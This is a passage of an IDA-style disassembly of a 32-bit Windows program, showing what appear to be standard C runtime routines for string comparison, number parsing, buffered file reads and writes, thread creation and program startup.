call __SEH_epilog retn sub_41D3E7 endp ; =============== S U B R O U T I N E ======================================= sub_41D43B proc near ; CODE XREF: sub_41D3E7+46p ; DATA XREF: .text:stru_429610o push dword ptr [ebp-20h] call sub_420CD2 pop ecx retn sub_41D43B endp ; =============== S U B R O U T I N E ======================================= sub_41D445 proc near ; CODE XREF: sub_4060DC+BFp ; sub_4060DC+35Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] push edi jmp short loc_41D45A ; --------------------------------------------------------------------------- loc_41D451: ; CODE XREF: sub_41D445+20j test cx, cx jz short loc_41D467 inc edx inc edx inc esi inc esi loc_41D45A: ; CODE XREF: sub_41D445+Aj mov cx, [esi] movzx eax, word ptr [edx] movzx edi, cx sub eax, edi jz short loc_41D451 loc_41D467: ; CODE XREF: sub_41D445+Fj test eax, eax pop edi pop esi jge short loc_41D471 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41D471: ; CODE XREF: sub_41D445+26j jle short locret_41D476 xor eax, eax inc eax locret_41D476: ; CODE XREF: sub_41D445:loc_41D471j retn sub_41D445 endp ; =============== S U B R O U T I N E ======================================= sub_41D477 proc near ; CODE XREF: sub_41D4C3+32p ; sub_421AB7+5Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh test byte ptr [esi+0Ch], 83h jz short loc_41D4BA push esi call sub_4211A9 push esi mov edi, eax call sub_42117E push dword ptr [esi+10h] call sub_4210E3 add esp, 0Ch test eax, eax jge short loc_41D4A8 or edi, 0FFFFFFFFh jmp short loc_41D4BA ; --------------------------------------------------------------------------- loc_41D4A8: ; CODE XREF: sub_41D477+2Aj mov eax, [esi+1Ch] test eax, eax jz short loc_41D4BA push eax call sub_41C2DD and dword ptr [esi+1Ch], 0 pop ecx loc_41D4BA: ; CODE XREF: sub_41D477+Dj ; sub_41D477+2Fj ... and dword ptr [esi+0Ch], 0 mov eax, edi pop edi pop esi retn sub_41D477 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4C3 proc near ; CODE XREF: sub_4060DC+724p ; .text:00416F15p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset stru_429620 call __SEH_prolog or [ebp+var_1C], 0FFFFFFFFh mov esi, [ebp+arg_0] test byte ptr [esi+0Ch], 40h jz short loc_41D4E9 and dword ptr [esi+0Ch], 0 loc_41D4E0: ; CODE XREF: sub_41D4C3+44j mov eax, [ebp+var_1C] call __SEH_epilog retn ; --------------------------------------------------------------------------- loc_41D4E9: ; CODE XREF: sub_41D4C3+17j push esi call sub_420C80 pop ecx and [ebp+ms_exc.disabled], 0 push esi call sub_41D477 pop ecx mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41D50C jmp short loc_41D4E0 sub_41D4C3 endp ; =============== S U B R O U T I N E ======================================= sub_41D509 proc near ; DATA XREF: .text:stru_429620o mov esi, [ebp+8] sub_41D509 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D50C proc near ; CODE XREF: sub_41D4C3+3Fp push esi call sub_420CD2 pop ecx retn sub_41D50C endp ; =============== S U B R O U T I N E ======================================= sub_41D514 proc near ; CODE XREF: sub_41D59Cj ; sub_425A9F+33p arg_0 = dword ptr 4 push esi push edi call sub_4203B6 mov edi, [eax+64h] cmp edi, ds:off_433444 jz short loc_41D52D call sub_420342 mov edi, eax loc_41D52D: ; CODE XREF: sub_41D514+10j mov esi, [esp+8+arg_0] loc_41D531: ; CODE XREF: sub_41D514+43j cmp dword ptr [edi+28h], 1 movzx eax, byte ptr [esi] jle short loc_41D548 push 8 push eax push edi call sub_42013A add esp, 0Ch jmp short loc_41D552 ; --------------------------------------------------------------------------- loc_41D548: ; CODE XREF: sub_41D514+24j mov ecx, [edi+48h] movzx eax, byte ptr [ecx+eax*2] and eax, 8 loc_41D552: ; CODE XREF: sub_41D514+32j test eax, eax jz short loc_41D559 inc esi jmp short loc_41D531 ; --------------------------------------------------------------------------- loc_41D559: ; CODE XREF: sub_41D514+40j movzx ecx, byte ptr [esi] inc esi cmp ecx, 2Dh mov edx, ecx jz short loc_41D569 cmp ecx, 2Bh jnz short loc_41D56D loc_41D569: ; CODE XREF: sub_41D514+4Ej movzx ecx, byte ptr [esi] inc esi loc_41D56D: ; CODE XREF: sub_41D514+53j xor eax, eax loc_41D56F: ; CODE XREF: sub_41D514+7Cj cmp ecx, 30h jl short loc_41D57E cmp ecx, 39h jg short loc_41D57E sub ecx, 30h jmp short loc_41D581 ; --------------------------------------------------------------------------- loc_41D57E: ; CODE XREF: sub_41D514+5Ej ; sub_41D514+63j or ecx, 0FFFFFFFFh loc_41D581: ; CODE XREF: sub_41D514+68j cmp ecx, 0FFFFFFFFh jz short loc_41D592 lea eax, [eax+eax*4] lea eax, [ecx+eax*2] movzx ecx, byte ptr [esi] inc esi jmp short loc_41D56F ; --------------------------------------------------------------------------- loc_41D592: ; CODE XREF: sub_41D514+70j cmp edx, 2Dh pop edi pop esi jnz short locret_41D59B neg eax locret_41D59B: ; CODE XREF: sub_41D514+83j retn sub_41D514 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_41D59C proc near ; CODE XREF: sub_407466+1AAp ; sub_409454+55p ... jmp sub_41D514 sub_41D59C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D5B0 proc near ; CODE XREF: sub_407779+Dp ; .text:00408537p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41D5E2 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41D5E0 jz short loc_41D5E2 sub ecx, 2 loc_41D5E0: ; CODE XREF: sub_41D5B0+29j not ecx loc_41D5E2: ; CODE XREF: sub_41D5B0+9j ; sub_41D5B0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41D5B0 endp ; =============== S U B R O U T I N E ======================================= sub_41D5E9 proc near ; DATA XREF: .text:off_430500o ; .text:00430504o ... mov eax, ds:dword_4354CC test eax, eax jz short loc_41D5F4 call eax loc_41D5F4: ; CODE XREF: sub_41D5E9+7j push 19h call sub_41DC6D pop ecx retn sub_41D5E9 endp ; =============== S U B R O U T I N E ======================================= sub_41D5FD proc near ; CODE XREF: sub_410A3B+95p ; sub_410A3B+223p arg_0 = dword ptr 4 call sub_4203B6 mov eax, [eax+64h] cmp eax, ds:off_433444 jz short loc_41D612 call sub_420342 loc_41D612: ; CODE XREF: sub_41D5FD+Ej cmp dword ptr [eax+28h], 1 jle short loc_41D62B push 103h push [esp+4+arg_0] push eax call sub_42013A add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41D62B: ; CODE XREF: sub_41D5FD+19j mov eax, [eax+48h] mov ecx, [esp+arg_0] movzx eax, word ptr [eax+ecx*2] and eax, 103h retn sub_41D5FD endp ; =============== S U B R O U T I N E ======================================= sub_41D63C proc near ; CODE XREF: sub_410A3B+79p ; sub_410A3B+2A8p ... arg_0 = dword ptr 4 call sub_4203B6 mov eax, [eax+64h] cmp eax, ds:off_433444 jz short loc_41D651 call sub_420342 loc_41D651: ; CODE XREF: sub_41D63C+Ej cmp dword ptr [eax+28h], 1 jle short loc_41D667 push 4 push [esp+4+arg_0] push eax call sub_42013A add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41D667: ; CODE XREF: sub_41D63C+19j mov eax, [eax+48h] mov ecx, [esp+arg_0] movzx eax, byte ptr [eax+ecx*2] and eax, 4 retn sub_41D63C endp ; =============== S U B R O U T I N E ======================================= sub_41D676 proc near ; CODE XREF: sub_410A3B+1F4p ; sub_41D6EF+11p arg_0 = dword ptr 4 call sub_4203B6 mov eax, [eax+64h] cmp eax, ds:off_433444 jz short loc_41D68B call sub_420342 loc_41D68B: ; CODE XREF: sub_41D676+Ej cmp dword ptr [eax+28h], 1 jle short loc_41D6A1 push 8 push [esp+4+arg_0] push eax call sub_42013A add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41D6A1: ; CODE XREF: sub_41D676+19j mov eax, [eax+48h] mov ecx, [esp+arg_0] movzx eax, byte ptr [eax+ecx*2] and eax, 8 retn sub_41D676 endp ; =============== S U B R O U T I N E ======================================= sub_41D6B0 proc near ; CODE XREF: sub_410A3B+248p ; sub_410A3B+31Bp arg_0 = dword ptr 4 call sub_4203B6 mov eax, [eax+64h] cmp eax, ds:off_433444 jz short loc_41D6C5 call sub_420342 loc_41D6C5: ; CODE XREF: sub_41D6B0+Ej cmp dword ptr [eax+28h], 1 jle short loc_41D6DE push 107h push [esp+4+arg_0] push eax call sub_42013A add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41D6DE: ; CODE XREF: sub_41D6B0+19j mov eax, [eax+48h] mov ecx, [esp+arg_0] movzx eax, word ptr [eax+ecx*2] and eax, 107h retn sub_41D6B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D6EF proc near ; CODE XREF: sub_410068+2Bp ; sub_4101DB+80p ... var_18 = byte ptr -18h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push esi mov esi, [ebp+arg_0] jmp short loc_41D6FC ; --------------------------------------------------------------------------- loc_41D6FB: ; CODE XREF: sub_41D6EF+19j inc esi loc_41D6FC: ; CODE XREF: sub_41D6EF+Aj movzx eax, byte ptr [esi] push eax call sub_41D676 test eax, eax pop ecx jnz short loc_41D6FB push eax push eax push esi call sub_41C350 pop ecx push eax lea eax, [ebp+var_18] push esi push eax call sub_421710 fld qword ptr [eax+10h] add esp, 14h pop esi leave retn sub_41D6EF endp ; =============== S U B R O U T I N E ======================================= sub_41D727 proc near ; CODE XREF: sub_415008+10p arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short locret_41D731 neg eax locret_41D731: ; CODE XREF: sub_41D727+6j retn sub_41D727 endp ; =============== S U B R O U T I N E ======================================= sub_41D732 proc near ; CODE XREF: sub_41D732+A1p arg_0 = dword ptr 4 mov eax, ds:off_433144 test eax, eax jz short loc_41D73D call eax ; nullsub_3 loc_41D73D: ; CODE XREF: sub_41D732+7j push esi call sub_4203B6 mov esi, eax test esi, esi jnz short loc_41D751 push 10h call sub_41DC6D pop ecx loc_41D751: ; CODE XREF: sub_41D732+15j push esi call sub_42056E pop ecx push [esp+4+arg_0] call ds:dword_4291A8 ; ExitThread pop esi loc_41D763: ; DATA XREF: sub_41D7F8+55o push 0Ch push offset stru_429630 call __SEH_prolog push ds:dword_43357C call ds:dword_4356B0 ; TlsGetValue mov esi, eax test esi, esi jnz short loc_41D7A7 mov esi, [ebp+8] push esi push ds:dword_43357C call ds:dword_4356B4 ; TlsSetValue test eax, eax jnz short loc_41D79D push 10h call sub_41DC6D pop ecx loc_41D79D: ; CODE XREF: sub_41D732+61j call ds:dword_4291A4 ; GetCurrentThreadId mov [esi], eax jmp short loc_41D7BD ; --------------------------------------------------------------------------- loc_41D7A7: ; CODE XREF: sub_41D732+4Dj mov eax, [ebp+8] mov ecx, [eax+4Ch] mov [esi+4Ch], ecx mov ecx, [eax+50h] mov [esi+50h], ecx push eax call sub_41C2DD pop ecx loc_41D7BD: ; CODE XREF: sub_41D732+73j mov eax, ds:off_433140 test eax, eax jz short loc_41D7C8 call eax ; nullsub_3 loc_41D7C8: ; CODE XREF: sub_41D732+92j and dword ptr [ebp-4], 0 push dword ptr [esi+50h] call dword ptr [esi+4Ch] push eax call sub_41D732 loc_41D7D8: ; DATA XREF: .text:stru_429630o mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-1Ch], ecx push eax push ecx call sub_4217A5 pop ecx pop ecx retn sub_41D732 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D7EC proc near ; DATA XREF: .text:stru_429630o mov esp, [ebp-18h] push dword ptr [ebp-1Ch] call sub_41F66F int 3 ; Trap to Debugger sub_41D7EC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D7F8 proc near ; CODE XREF: sub_416AC4+Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx push edi mov edi, [ebp+arg_8] xor ebx, ebx test edi, edi jnz short loc_41D815 call sub_4200B5 mov dword ptr [eax], 16h xor eax, eax jmp short loc_41D87F ; --------------------------------------------------------------------------- loc_41D815: ; CODE XREF: sub_41D7F8+Cj push esi push 8Ch push 1 call sub_421909 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_41D86A push esi call sub_4203A3 mov eax, [ebp+arg_C] or dword ptr [esi+4], 0FFFFFFFFh mov [esi+50h], eax mov eax, [ebp+arg_14] test eax, eax pop ecx mov [esi+4Ch], edi jnz short loc_41D848 lea eax, [ebp+arg_8] loc_41D848: ; CODE XREF: sub_41D7F8+4Bj push eax push [ebp+arg_10] push esi push offset loc_41D763 push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4291A0 ; CreateThread test eax, eax jnz short loc_41D87E call ds:dword_4290D8 ; RtlGetLastWin32Error mov ebx, eax loc_41D86A: ; CODE XREF: sub_41D7F8+30j push esi call sub_41C2DD test ebx, ebx pop ecx jz short loc_41D87C push ebx call sub_4200C7 pop ecx loc_41D87C: ; CODE XREF: sub_41D7F8+7Bj xor eax, eax loc_41D87E: ; CODE XREF: sub_41D7F8+68j pop esi loc_41D87F: ; CODE XREF: sub_41D7F8+1Bj pop edi pop ebx pop ebp retn sub_41D7F8 endp ; =============== S U B R O U T I N E ======================================= sub_41D883 proc near ; CODE XREF: sub_41D92B+35p arg_0 = dword ptr 4 cmp [esp+arg_0], 0 push esi mov esi, offset byte_4354D0 jz short loc_41D895 mov esi, offset dword_4354E0 loc_41D895: ; CODE XREF: sub_41D883+Bj push offset asc_42FDC4 ; "\\" push esi call sub_41C930 pop ecx lea eax, [esi+1] pop ecx mov cl, [eax-1] cmp cl, 5Ch jz short loc_41D8B6 cmp cl, 2Fh jz short loc_41D8B6 mov byte ptr [eax], 5Ch inc eax loc_41D8B6: ; CODE XREF: sub_41D883+28j ; sub_41D883+2Dj cmp [esp+4+arg_0], 0 jz short loc_41D8C2 mov byte ptr [eax], 74h jmp short loc_41D8C5 ; --------------------------------------------------------------------------- loc_41D8C2: ; CODE XREF: sub_41D883+38j mov byte ptr [eax], 73h loc_41D8C5: ; CODE XREF: sub_41D883+3Dj inc eax push 20h push eax call sub_421A46 ; GetCurrentProcessId push eax call sub_421A2C push offset a_ ; "." push esi call sub_41C940 add esp, 14h pop esi retn sub_41D883 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D8E4 proc near ; CODE XREF: sub_41D92B+4Ep var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi push 2Eh push [ebp+arg_0] call sub_421A4C mov esi, eax push 20h inc esi push 0 push esi call sub_41CC5B add esp, 14h inc eax cmp eax, 7FFFh jb short loc_41D910 or eax, 0FFFFFFFFh jmp short loc_41D928 ; --------------------------------------------------------------------------- loc_41D910: ; CODE XREF: sub_41D8E4+25j push 20h lea ecx, [ebp+var_4] push ecx push eax call sub_421A2C push eax push esi call sub_41C930 add esp, 14h xor eax, eax loc_41D928: ; CODE XREF: sub_41D8E4+2Aj pop esi leave retn sub_41D8E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D92B proc near ; CODE XREF: .text:00416E72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset stru_429640 call __SEH_prolog xor ebx, ebx mov [ebp+var_1C], ebx push 2 call sub_41E8E3 pop ecx test eax, eax jz loc_41D9D6 push 2 call sub_41E983 pop ecx mov [ebp+ms_exc.disabled], ebx cmp ds:byte_4354D0, bl jnz short loc_41D985 push ebx call sub_41D883 pop ecx mov esi, offset byte_4354D0 loc_41D96B: ; CODE XREF: sub_41D92B+56j push ebx push esi call sub_421B59 pop ecx pop ecx test eax, eax jnz short loc_41D98C loc_41D978: ; CODE XREF: sub_41D92B+5Fj push esi call sub_41D8E4 pop ecx test eax, eax jz short loc_41D96B jmp short loc_41D9CA ; --------------------------------------------------------------------------- loc_41D985: ; CODE XREF: sub_41D92B+32j mov esi, offset byte_4354D0 jmp short loc_41D978 ; --------------------------------------------------------------------------- loc_41D98C: ; CODE XREF: sub_41D92B+4Bj mov edi, [ebp+arg_0] cmp edi, ebx jnz short loc_41D9BE call sub_4203B6 mov edi, eax mov [ebp+var_20], edi cmp [edi+2Ch], ebx jnz short loc_41D9B8 push 0Eh call sub_41D0C4 pop ecx mov [edi+2Ch], eax cmp eax, ebx jnz short loc_41D9B8 mov edi, esi mov [ebp+arg_0], edi jmp short loc_41D9C7 ; --------------------------------------------------------------------------- loc_41D9B8: ; CODE XREF: sub_41D92B+75j ; sub_41D92B+84j mov edi, [edi+2Ch] mov [ebp+arg_0], edi loc_41D9BE: ; CODE XREF: sub_41D92B+66j push esi push edi call sub_41C930 pop ecx pop ecx loc_41D9C7: ; CODE XREF: sub_41D92B+8Bj mov [ebp+var_1C], edi loc_41D9CA: ; CODE XREF: sub_41D92B+58j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41D9DC mov eax, [ebp+var_1C] loc_41D9D6: ; CODE XREF: sub_41D92B+1Bj call __SEH_epilog retn sub_41D92B endp ; =============== S U B R O U T I N E ======================================= sub_41D9DC proc near ; CODE XREF: sub_41D92B+A3p ; DATA XREF: .text:stru_429640o push 2 call sub_41E8CE pop ecx retn sub_41D9DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D9E5 proc near ; CODE XREF: sub_41DACE+25p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_0] push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] test edi, edi mov ecx, edi mov [ebp+var_8], edi mov [ebp+arg_0], ecx jnz short loc_41DA09 xor eax, eax jmp loc_41DAB4 ; --------------------------------------------------------------------------- loc_41DA09: ; CODE XREF: sub_41D9E5+1Bj push esi mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41DA1D mov eax, [esi+18h] mov [ebp+var_4], eax jmp short loc_41DA29 ; --------------------------------------------------------------------------- loc_41DA1D: ; CODE XREF: sub_41D9E5+2Ej mov [ebp+var_4], 1000h jmp short loc_41DA29 ; --------------------------------------------------------------------------- loc_41DA26: ; CODE XREF: sub_41D9E5+C5j mov ecx, [ebp+arg_0] loc_41DA29: ; CODE XREF: sub_41D9E5+36j ; sub_41D9E5+3Fj test word ptr [esi+0Ch], 10Ch jz short loc_41DA5B mov eax, [esi+4] test eax, eax jz short loc_41DA5B cmp ecx, eax mov edi, ecx jb short loc_41DA40 mov edi, eax loc_41DA40: ; CODE XREF: sub_41D9E5+57j push edi push dword ptr [esi] push ebx call sub_41BC60 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_8] jmp short loc_41DAA6 ; --------------------------------------------------------------------------- loc_41DA5B: ; CODE XREF: sub_41D9E5+4Aj ; sub_41D9E5+51j cmp ecx, [ebp+var_4] jb short loc_41DA8E cmp [ebp+var_4], 0 mov eax, ecx jz short loc_41DA71 xor edx, edx div [ebp+var_4] mov eax, ecx sub eax, edx loc_41DA71: ; CODE XREF: sub_41D9E5+81j push eax push ebx push dword ptr [esi+10h] call sub_422197 add esp, 0Ch test eax, eax jz short loc_41DAB8 cmp eax, 0FFFFFFFFh jz short loc_41DAC8 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41DAA6 ; --------------------------------------------------------------------------- loc_41DA8E: ; CODE XREF: sub_41D9E5+79j push esi call sub_421EDB cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DABC mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+var_4], eax loc_41DAA6: ; CODE XREF: sub_41D9E5+74j ; sub_41D9E5+A7j cmp [ebp+arg_0], 0 jnz loc_41DA26 mov eax, [ebp+arg_8] loc_41DAB3: ; CODE XREF: sub_41D9E5+E1j pop esi loc_41DAB4: ; CODE XREF: sub_41D9E5+1Fj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41DAB8: ; CODE XREF: sub_41D9E5+9Bj or dword ptr [esi+0Ch], 10h loc_41DABC: ; CODE XREF: sub_41D9E5+B3j ; sub_41D9E5+E7j mov eax, edi sub eax, [ebp+arg_0] xor edx, edx div [ebp+arg_4] jmp short loc_41DAB3 ; --------------------------------------------------------------------------- loc_41DAC8: ; CODE XREF: sub_41D9E5+A0j or dword ptr [esi+0Ch], 20h jmp short loc_41DABC sub_41D9E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DACE proc near ; CODE XREF: .text:00416EFBp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 0Ch push offset stru_429650 call __SEH_prolog push [ebp+arg_C] call sub_420C80 pop ecx and [ebp+ms_exc.disabled], 0 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D9E5 add esp, 10h mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41DB10 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_41DACE endp ; =============== S U B R O U T I N E ======================================= sub_41DB10 proc near ; CODE XREF: sub_41DACE+34p ; DATA XREF: .text:stru_429650o push dword ptr [ebp+14h] call sub_420CD2 pop ecx retn sub_41DB10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB1A proc near ; CODE XREF: sub_41DC21+25p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] push ebx push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] test edi, edi mov [ebp+arg_0], eax mov [ebp+var_8], edi mov ebx, edi jnz short loc_41DB3E xor eax, eax jmp loc_41DC09 ; --------------------------------------------------------------------------- loc_41DB3E: ; CODE XREF: sub_41DB1A+1Bj push esi mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41DB52 mov eax, [esi+18h] mov [ebp+var_4], eax jmp short loc_41DB59 ; --------------------------------------------------------------------------- loc_41DB52: ; CODE XREF: sub_41DB1A+2Ej mov [ebp+var_4], 1000h loc_41DB59: ; CODE XREF: sub_41DB1A+36j ; sub_41DB1A+E5j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41DB8D mov eax, [esi+4] test eax, eax jz short loc_41DB8D cmp ebx, eax mov edi, ebx jb short loc_41DB73 mov edi, eax loc_41DB73: ; CODE XREF: sub_41DB1A+55j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41BC60 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41DBCF ; --------------------------------------------------------------------------- loc_41DB8D: ; CODE XREF: sub_41DB1A+48j ; sub_41DB1A+4Fj cmp ebx, [ebp+var_4] jb short loc_41DBD4 test ecx, ecx jz short loc_41DBA1 push esi call sub_4211A9 test eax, eax pop ecx jnz short loc_41DC0D loc_41DBA1: ; CODE XREF: sub_41DB1A+7Aj cmp [ebp+var_4], 0 mov edi, ebx jz short loc_41DBB2 xor edx, edx mov eax, ebx div [ebp+var_4] sub edi, edx loc_41DBB2: ; CODE XREF: sub_41DB1A+8Dj push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_422410 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41DC18 add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41DC18 loc_41DBCF: ; CODE XREF: sub_41DB1A+71j mov edi, [ebp+var_8] jmp short loc_41DBFD ; --------------------------------------------------------------------------- loc_41DBD4: ; CODE XREF: sub_41DB1A+76j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] push esi push eax call sub_41F714 cmp eax, 0FFFFFFFFh pop ecx pop ecx jz short loc_41DC0D inc [ebp+arg_0] mov eax, [esi+18h] dec ebx test eax, eax mov [ebp+var_4], eax jg short loc_41DBFD mov [ebp+var_4], 1 loc_41DBFD: ; CODE XREF: sub_41DB1A+B8j ; sub_41DB1A+DAj test ebx, ebx jnz loc_41DB59 mov eax, [ebp+arg_8] loc_41DC08: ; CODE XREF: sub_41DB1A+FCj pop esi loc_41DC09: ; CODE XREF: sub_41DB1A+1Fj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41DC0D: ; CODE XREF: sub_41DB1A+85j ; sub_41DB1A+CCj mov eax, edi loc_41DC0F: ; CODE XREF: sub_41DB1A+105j sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41DC08 ; --------------------------------------------------------------------------- loc_41DC18: ; CODE XREF: sub_41DB1A+AAj ; sub_41DB1A+B3j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_8] jmp short loc_41DC0F sub_41DB1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DC21 proc near ; CODE XREF: .text:00416EBBp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 0Ch push offset stru_429660 call __SEH_prolog push [ebp+arg_C] call sub_420C80 pop ecx and [ebp+ms_exc.disabled], 0 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41DB1A add esp, 10h mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_41DC63 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_41DC21 endp ; =============== S U B R O U T I N E ======================================= sub_41DC63 proc near ; CODE XREF: sub_41DC21+34p ; DATA XREF: .text:stru_429660o push dword ptr [ebp+14h] call sub_420CD2 pop ecx retn sub_41DC63 endp ; =============== S U B R O U T I N E ======================================= sub_41DC6D proc near ; CODE XREF: sub_41D5E9+Dp ; sub_41D732+19p ... arg_0 = dword ptr 4 cmp ds:dword_4354F8, 1 jnz short loc_41DC7B call sub_422632 loc_41DC7B: ; CODE XREF: sub_41DC6D+7j push [esp+arg_0] call sub_4224BB push 0FFh call ds:off_433110 pop ecx pop ecx retn sub_41DC6D endp ; =============== S U B R O U T I N E ======================================= sub_41DC92 proc near ; CODE XREF: start-1C275p start-1C264p arg_0 = dword ptr 4 cmp ds:dword_4354F8, 1 jnz short loc_41DCA0 call sub_422632 loc_41DCA0: ; CODE XREF: sub_41DC92+7j push [esp+arg_0] call sub_4224BB push 0FFh call sub_41F4D7 pop ecx pop ecx retn sub_41DC92 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_41DCB6: ; CODE XREF: start+344j push 60h push offset stru_429670 call __SEH_prolog mov edi, 94h mov eax, edi call sub_41E090 mov [ebp-18h], esp mov esi, esp mov [esi], edi push esi call ds:dword_42909C ; GetVersionExA mov ecx, [esi+10h] mov ds:dword_43565C, ecx mov eax, [esi+4] mov ds:dword_435668, eax mov edx, [esi+8] mov ds:dword_43566C, edx mov esi, [esi+0Ch] and esi, 7FFFh mov ds:dword_435660, esi cmp ecx, 2 jz short loc_41DD16 or esi, 8000h mov ds:dword_435660, esi loc_41DD16: ; CODE XREF: start-1C2F8j shl eax, 8 add eax, edx mov ds:dword_435664, eax xor esi, esi push esi mov edi, ds:dword_4290BC call edi ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_41DD51 mov ecx, [eax+3Ch] add ecx, eax cmp dword ptr [ecx], 4550h jnz short loc_41DD51 movzx eax, word ptr [ecx+18h] cmp eax, 10Bh jz short loc_41DD69 cmp eax, 20Bh jz short loc_41DD56 loc_41DD51: ; CODE XREF: start-1C2D0j start-1C2C3j ... mov [ebp-1Ch], esi jmp short loc_41DD7D ; --------------------------------------------------------------------------- loc_41DD56: ; CODE XREF: start-1C2B1j cmp dword ptr [ecx+84h], 0Eh jbe short loc_41DD51 xor eax, eax cmp [ecx+0F8h], esi jmp short loc_41DD77 ; --------------------------------------------------------------------------- loc_41DD69: ; CODE XREF: start-1C2B8j cmp dword ptr [ecx+74h], 0Eh jbe short loc_41DD51 xor eax, eax cmp [ecx+0E8h], esi loc_41DD77: ; CODE XREF: start-1C299j setnz al mov [ebp-1Ch], eax loc_41DD7D: ; CODE XREF: start-1C2ACj push 1 call sub_41E7DF pop ecx test eax, eax jnz short loc_41DD91 push 1Ch call sub_41DC92 pop ecx loc_41DD91: ; CODE XREF: start-1C279j call sub_42059D test eax, eax jnz short loc_41DDA2 push 10h call sub_41DC92 pop ecx loc_41DDA2: ; CODE XREF: start-1C268j call sub_422CBD mov [ebp-4], esi call sub_422ABF test eax, eax jge short loc_41DDBB push 1Bh call 